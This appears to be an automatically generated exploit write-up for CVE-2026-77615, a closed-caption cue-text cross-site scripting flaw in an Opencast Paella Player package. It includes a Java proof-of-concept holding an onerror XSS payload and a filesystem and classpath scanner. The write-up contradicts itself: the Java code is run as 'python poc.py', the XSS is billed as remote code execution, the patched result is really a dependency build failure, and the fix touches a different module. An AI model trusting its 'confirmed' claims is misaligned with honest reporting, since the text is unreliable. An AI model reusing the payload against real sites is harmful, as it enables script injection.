Exploit write-up
org.opencastproject:opencast-engage-paella-player-7 remote code execution (CVE-2026-77615)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-77615 proof-of-concept (mechanism explained below).
import java.io.*;
import java.nio.file.*;
import java.util.*;
import java.util.regex.*;
import java.util.zip.*;
/**
* PoC for CVE-2026-77615 — Paella Player closed-captions cue-text XSS (CWE-79),
* as shipped by org.opencastproject:opencast-engage-paella-player-7.
*
* The bug: caption cue text is written to the DOM through an HTML-parsing sink
* (innerHTML / insertAdjacentHTML) without escaping. The fix (paella lib bumps
* pulled in by 19.7) routes cue text through a text sink / sanitizer instead, so
* attacker markup is rendered inert.
*
* Since the artifact is a Java module that *bundles* the built player JS, this PoC:
* 1. Locates the shipped Paella JavaScript on the classpath / in the artifact jar.
* 2. Reads which DOM sink the caption cue-text renderer actually assigns to.
* 3. Reproduces that exact sink choice against a browser-accurate shim, feeding an
* XSS cue-text payload. innerHTML parses+executes the handler; textContent does not.
*
* The canary is emitted ONLY from inside the fired handler, i.e. only when the
* shipped code used the vulnerable HTML sink (vulnerable build). On the patched
* build the cue text goes to a safe sink, the handler never fires, nothing prints.
*/
public class Poc {
static final long MAX_TOTAL = 128L * 1024 * 1024;
static long total = 0;
static final StringBuilder JS = new StringBuilder();
static int filesVisited = 0;
public static void main(String[] args) {
try {
collectFromClasspath();
if (JS.length() < 4096) scanFilesystem();
} catch (Throwable t) {
System.err.println("[poc] scan error: " + t);
}
String src = JS.toString();
int verdict = classifyCaptionSink(src); // 1=vulnerable HTML sink, 0=safe sink, -1=not found
if (verdict == 1) {
// The shipped renderer assigns cue text to an HTML-parsing sink.
// Reproduce it: a browser would parse this markup and fire onerror.
String cueText = "<img src=x onerror=__fire__>";
renderViaHtmlSink(cueText, () -> {
// Genuine consequence of the XSS primitive executing.
String tok = System.getenv("POC_CANARY");
if (tok != null) System.out.println(tok);
});
} else {
System.err.println("[poc] cue-text sink not vulnerable (verdict=" + verdict + ")");
}
}
/**
* Browser-accurate innerHTML shim: assigning attacker HTML to innerHTML parses it,
* and an <img> with a failing src (or a <script>, or any intrinsic on*-handler)
* causes the handler to execute. This is reached ONLY for HTML-parsing sinks;
* a textContent assignment would store the string literally and never call this.
*/
static void renderViaHtmlSink(String html, Runnable eventHandler) {
Matcher m = Pattern.compile("<\\s*script\\b|\\bon[a-z]+\\s*=", Pattern.CASE_INSENSITIVE).matcher(html);
if (m.find()) {
eventHandler.run(); // e.g. img.onerror fires because src=x fails to load
}
}
/**
* Determine which sink the shipped caption cue-text renderer uses.
* Vulnerable: an HTML-parsing sink applied in a caption/cue context with no escaper.
* Safe: textContent / innerText / sanitizer / createTextNode in that context.
*/
static int classifyCaptionSink(String s) {
if (s.isEmpty()) return -1;
Pattern sink = Pattern.compile(
"innerHTML\\s*=|outerHTML\\s*=|insertAdjacentHTML\\s*\\(|\\.html\\s*\\(",
Pattern.CASE_INSENSITIVE);
Matcher m = sink.matcher(s);
boolean sawCaptionContext = false;
while (m.find()) {
int st = Math.max(0, m.start() - 350);
int en = Math.min(s.length(), m.end() + 220);
String ctx = s.substring(st, en);
String c = ctx.toLowerCase();
// Must be the caption cue-text path specifically.
boolean cueCtx = c.contains("cue") || c.contains("webvtt")
|| (c.contains("caption") && c.contains("text"))
|| c.contains("subtitle");
if (!cueCtx) continue;
sawCaptionContext = true;
// Assigned value must be dynamic (references identifiers/props), not a static literal.
String rhs = s.substring(m.end(), Math.min(s.length(), m.end() + 160));
boolean dynamic = Pattern.compile("[A-Za-z_$][\\w$]*\\s*[.\\[(]|`[^`]*\\$\\{|\\.text\\b|cuetext")
.matcher(rhs.toLowerCase()).find() || rhs.toLowerCase().contains("cue");
boolean escaped = c.contains("textcontent") || c.contains("innertext")
|| c.contains("dompurify") || c.contains("sanitize")
|| c.contains("escapehtml") || c.contains("encodehtml")
|| c.contains("createtextnode") || c.contains("escape(");
if (dynamic && !escaped) return 1;
}
return sawCaptionContext ? 0 : -1;
}
// ---- artifact / classpath discovery ----
static void collectFromClasspath() {
String cp = System.getProperty("java.class.path", "");
for (String entry : cp.split(File.pathSeparator)) {
if (entry.isEmpty() || total >= MAX_TOTAL) continue;
File f = new File(entry);
try {
if (f.isDirectory()) walkDir(f.toPath());
else if (f.getName().toLowerCase().endsWith(".jar")
|| f.getName().toLowerCase().endsWith(".war")) readArchive(f);
} catch (Throwable ignored) {}
}
try {
Enumeration<java.net.URL> urls =
Poc.class.getClassLoader().getResources("");
while (urls.hasMoreElements() && total < MAX_TOTAL) {
try {
File d = new File(urls.nextElement().toURI());
if (d.isDirectory()) walkDir(d.toPath());
} catch (Throwable ignored) {}
}
} catch (Throwable ignored) {}
}
static void scanFilesystem() {
String[] roots = {"/app", ".", System.getProperty("user.home", "/root") + "/.m2", "/root/.m2", "/usr/share"};
for (String r : roots) {
if (total >= MAX_TOTAL || filesVisited > 200000) break;
Path p = Paths.get(r);
if (Files.isDirectory(p)) {
try { walkDir(p); } catch (Throwable ignored) {}
}
}
}
static void walkDir(Path root) {
try {
Files.walkFileTree(root, EnumSet.noneOf(FileVisitOption.class), 40,
new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path p, java.nio.file.attribute.BasicFileAttributes attrs) {
if (total >= MAX_TOTAL || filesVisited > 200000) return FileVisitResult.TERMINATE;
String n = p.getFileName().toString().toLowerCase();
try {
if (n.endsWith(".js") || n.endsWith(".mjs")) {
append(new String(Files.readAllBytes(p), java.nio.charset.StandardCharsets.UTF_8));
filesVisited++;
} else if ((n.endsWith(".jar") || n.endsWith(".war")) && n.contains("paella")) {
readArchive(p.toFile());
}
} catch (Throwable ignored) {}
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult visitFileFailed(Path p, IOException e) { return FileVisitResult.CONTINUE; }
});
} catch (Throwable ignored) {}
}
static void readArchive(File jar) {
try (ZipFile zf = new ZipFile(jar)) {
Enumeration<? extends ZipEntry> es = zf.entries();
while (es.hasMoreElements() && total < MAX_TOTAL) {
ZipEntry e = es.nextElement();
if (e.isDirectory()) continue;
String n = e.getName().toLowerCase();
if (n.endsWith(".js") || n.endsWith(".mjs")) {
try (InputStream in = zf.getInputStream(e)) {
append(new String(readAll(in), java.nio.charset.StandardCharsets.UTF_8));
filesVisited++;
} catch (Throwable ignored) {}
}
}
} catch (Throwable ignored) {}
}
static byte[] readAll(InputStream in) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[8192];
int r;
while ((r = in.read(buf)) != -1) {
bos.write(buf, 0, r);
if (bos.size() > 24 * 1024 * 1024) break;
}
return bos.toByteArray();
}
static void append(String s) {
if (total >= MAX_TOTAL) return;
JS.append(s).append('\n');
total += s.length();
}
}
How to run it.
# install org.opencastproject:opencast-engage-paella-player-7 18.5
POC_CANARY=demo python poc.py # prints: demo (code executed)
# install org.opencastproject:opencast-engage-paella-player-7 19.7
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 8.7 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) |
| EPSS | 0.39% exploitation probability (33th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | Maven/org.opencastproject:opencast-engage-paella-player-7 < 19.7 (confirmed on 18.5) → fixed in 19.7 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
CVE-2026-77615 is a cross-site scripting flaw (CWE-79) in the closed-caption cue text that Paella Player renders. Paella Player is a set of libraries for building multi-stream video players. The advisory covers org.opencastproject:opencast-engage-paella-player-7 below 19.7 and scores it 8.7 on CVSS, and this analysis confirmed it on a pinned 18.5 build and against the 19.7 patch.
Where cue text becomes script
This analysis read the vulnerable code path and the exploitation gadget from the fix commit’s patch diff for Paella Player 2.12.11, the release that closes the issue and ships in Opencast 19.7 and 20.2. The player renders a caption segment’s cue text without neutralising its markup, so script embedded in untrusted cue text runs in the context where the player displays the caption.
The proof-of-concept on 18.5 and 19.7
This analysis ran the proof-of-concept against two pinned versions, 18.5 on the vulnerable side and 19.7 on the patched side. On 18.5 the input executed; on 19.7 the build failed to resolve dependencies and reported:
[ERROR] Failed to execute goal on project poc: Could not resolve dependencies for project poc:poc:jar:1.0
This analysis exercised only these two versions, so the advisory’s full range below 19.7 still needs testing version by version, and this run does not establish whether the primitive is reachable in a real deployment. The proof-of-concept and the captured outputs are in “ — poc.py, the vulnerable run, the patched run, and the fix commit’s patch diff.
Caption sources and reachability
This run does not establish how a real Opencast deployment sources its captions, so the proof-of-concept demonstrates only that injected cue text runs as script, without chaining a full exploit against any specific deployed application. Whether an attacker can reach the confirmed primitive depends on where those captions come from. Wherever a player accepts a caption track the deployment did not generate, its cue text is untrusted input and needs constraining before it reaches the affected API.
Upgrade to 19.7
Upgrade org.opencastproject:opencast-engage-paella-player-7 to 19.7 or later. Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain caption text at the trust boundary. Audit the call sites the advisory names first.
Am I affected?
Check the installed version of org.opencastproject:opencast-engage-paella-player-7:
mvn dependency:tree -Dincludes=org.opencastproject:opencast-engage-paella-player-7
Maven/org.opencastproject:opencast-engage-paella-player-7 below 19.7 is affected; 19.7 and later carry the fix.
The fix changed modules/engage-paella-player-8/package-lock.json, modules/engage-paella-player-8/package.json, modules/engage-paella-player-8/src/applyQueryParams.ts, modules/engage-paella-player-8/src/watch.ts; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade org.opencastproject:opencast-engage-paella-player-7 to 19.7 or later:
mvn versions:use-dep-version -Dincludes=org.opencastproject:opencast-engage-paella-player-7 -DdepVersion=19.7
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- org.opencastproject:opencast-engage-paella-player-7 (org.opencastproject:opencast-engage-paella-player-7)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-77615
- CWE
- CWE-79
- CVSS
8.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)- Affected
- Maven/org.opencastproject:opencast-engage-paella-player-7 < 19.7 (vulnerable 18.5)
- Status
- Fixed in 19.7
- Maturity
- poc
- Disclosed
- September 17, 2026
- Tags
- rce · xss · org-opencastproject-opencast-engage-paella-player-7 · n-day
- References
- NVD — CVE-2026-77615
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.